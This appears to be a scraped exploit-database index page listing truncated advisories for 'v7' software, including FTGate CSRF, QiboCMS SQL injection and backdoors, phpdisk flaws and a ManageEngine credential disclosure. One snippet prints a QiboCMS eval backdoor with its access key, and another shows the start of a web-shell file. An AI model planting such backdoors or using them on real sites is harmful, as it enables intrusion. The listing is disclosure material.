FTGate 7 - CSRF Vulnerabilities

Exploit for php platform in category web applications Vendor: ================================ www.ftgate.com www.ftgate.com/ftgate-update-7-0-300 Product: ================================ FTGate v7 Vulnerability Type: ================================= Cross site request forgery CSRF CVE Referenc...

FTGate 7 - Cross-Site Request Forgery

FTGate 7 - Cross-Site Request Forgery + Credits: hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt Vendor: ================================ www.ftgate.com www.ftgate.com/ftgate-update-7-0-300 Product:...

FTGate 7 - Cross-Site Request Forgery

Credits: hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt Vendor: ================================ www.ftgate.com www.ftgate.com/ftgate-update-7-0-300 Product: ================================ FTGate v7 Vulnerability Type:...

Qibocms v7 /do/class.php 后门

漏洞相关文件：/do/class.php后门内容解密后内容?phpif$GET'key'=='90sec' @eval$REQUEST'shellcode';?漏洞利用过程后门地址：http://domain/do/class.php?key=90sec密码：shellcode...

QiboCMS v7 /member/comment.php SQL注入漏洞

No description provided by source...

QiboCMS v7 /member/comment.php SQL注入漏洞

No description provided by source...

QiboCMS v7 /ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php 后门

/ewebeditor/ckfinder/plugins/fileeditor/codemirror/contrib/php/js/net.php?php errorreporting7; //设定错误讯息回报的等级 obstart; //打开缓冲区,当缓冲区激活时，所有来自PHP程序的非文件头信息均不会发送，而是保存在内部缓冲区。为了输出缓冲区的内容，可以使用obendflush或flush输出缓冲区的内容。 $mtime = explode' ', microtime; $starttime = $mtime1 + $mtime0; @settimelimit0;...

ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure

ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts. This module abuses both vulnerabilities to collect all the available usernames and passwords. First th...

ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure

ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts. This module abuses both vulnerabilities to collect all the available usernames and passwords. First th...

qibocms v7 /vote.php SQL注入漏洞

No description provided by source...

QiboCMS v7 /member/post.php SQL注入漏洞

No description provided by source...

Monitoring of vSphere 4.x fails with Veeam MP v7

Challenge Though everything is configured correctly and you have successfully added vCenter 4.x or standalone ESX 4.x to Veeam Extensions as a Monitoring target, no data is shown in SCOM and you can see "Veeam VMware Collector: VMware connection is unavailable" alerts . Additionally, the followin...

RadScripts RadLance 7.0 Popup.PHP Local File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/17975/info RadLance is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts. RadLance Gold 7.0 is reported affected by this issue; other versions may al...

phpdisk V7 注入一枚(直接出数据)。

简要描述： PHPDisk网盘系统 v7.0 20140529更新： 修正网盘云上传无法显示文件 部分主机无法使用系统验证码 端午放假,躁起来。 详细说明： WooYun: phpdisk V7 sql注入2 在爆了这个洞之后 看看phpdisk怎么修复的。 $file = unserializebase64decode$data; /foreach$file as $k=$v $file$k = $db-escape$file$v; / //没搞懂这里为什么要注释掉 如果不注释掉还不会出现这问题。 $filefileid = int$filefileid; $filefilesize ...

phpdisk V7 设计缺陷可致脱裤（有条件）

简要描述： 缺陷。 详细说明： 来到后台 看看数据库备份后的命名 1 phpdisk20140530Jev0jqTJ1.sql 0.04 M 2014-05-30 22:30:10 2 phpdisk20140530ealdGDeq1.sql 0.04 M 2014-05-30 22:30:00 可以看到是phpdisk日期随机字符1.sql 在windows下 这里超过了9个字符, 可以利用短文件名。 而且如果利用短文件名的话 直接phpdis1.sql 就可以了。。 这完全不用这遍历啊。。。 只要管理员备份了数据库,直接访问就行了。 xfkxfk这篇写得挺好的...

phpdisk V7 sql注入2

简要描述： 周末回家,挖洞玩玩。 刚从官网上面下载的。 过滤不严。 详细说明： 在ajax.php中 case 'uploadCloud': $folderid = intgpc'folderid','P',0; $folderid = $folderid ? $folderid : -1; $data = trimgpc'data','P',''; $ischecked = $ispublic ? $settings'checkpublicfile' ? 0 :1 : 1; if$settings'allfileshare' $inshare = 1; else $inshare =...

[MailPasswordDecryptor v4.0] All-in-one eMail Password Recovery Software

Mail Password Decryptor is the FREE software to instantly recover Mail Account passwords from popular email clients and other desktop applications. You can recover your lost password for email accounts like Gmail, Yahoo Mail, Hotmail or Windows Live Mail from email applications such as Microsoft...

Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability (0Day)

Document Title: =============== Sonicwall GMS v7.x - Filter Bypass & Persistent Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1099 Bulletin: Dell SonicWALL GMS Service Bulletin for Cross-Site Scripting Vulnerability...

齐博CMS V7 逻辑漏洞可致严重安全问题

No description provided by source...

qibocms v6-v7 artic_function.php SQL注入漏洞

No description provided by source...